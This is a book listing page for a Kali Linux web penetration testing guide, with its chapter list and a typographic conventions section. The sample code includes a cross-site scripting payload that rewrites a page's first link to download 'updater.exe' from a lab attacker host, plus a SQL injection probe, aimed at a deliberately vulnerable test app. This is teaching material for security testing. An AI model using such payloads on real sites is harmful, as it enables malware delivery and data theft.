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Mastering Kali Linux for Web Penetration Testing

You're reading from   Mastering Kali Linux for Web Penetration Testing The ultimate defense against complex organized threats and attacks

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Product type Paperback
Published in Jun 2017
Publisher Packt
ISBN-13 9781784395070
Length 338 pages
Edition 1st Edition
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Michael McPhee Michael McPhee
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Table of Contents (13) Chapters Close

Preface 1. Common Web Applications and Architectures FREE CHAPTER 2. Guidelines for Preparation and Testing 3. Stalking Prey Through Target Recon 4. Scanning for Vulnerabilities with Arachni 5. Proxy Operations with OWASP ZAP and Burp Suite 6. Infiltrating Sessions via Cross-Site Scripting 7. Injection and Overflow Testing 8. Exploiting Trust Through Cryptography Testing 9. Stress Testing Authentication and Session Management 10. Launching Client-Side Attacks 11. Breaking the Application Logic 12. Educating the Customer and Finishing Up

Conventions

In this book, you will find a number of text styles that distinguish between different kinds of information. Here are some examples of these styles and an explanation of their meaning.

Code words in text, database table names, folder names, filenames, file extensions, pathnames, dummy URLs, user input, and Twitter handles are shown as follows: "As with general exploits, we can see the payload's options in following screenshot using show options and see the commands with -h to guide ourselves through the entire operation."

A block of code is set as follows:

 http://172.16.30.129/mutillidae/index.php?page=user-info.php
&username=

Infiltrating Sessions via Cross-Site Scripting
[ 20 ]
<script>window.onload = function() {var
AllLinks=document.getElementsByTagName("a"); AllLinks[0].href =
"http://172.16.30.128/updater.exe"; }</script>

Any command-line input or output is written as follows:

SELECT username FROM accounts WHERE username=''' 

New terms and important words are shown in bold. Words that you see on the screen, for example, in menus or dialog boxes, appear in the text like this: "When we click on the Login button, our helpful database spills the beans and we realize exactly what the query we are trying to attack is, as shown in following screenshot."

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Tips and tricks appear like this.
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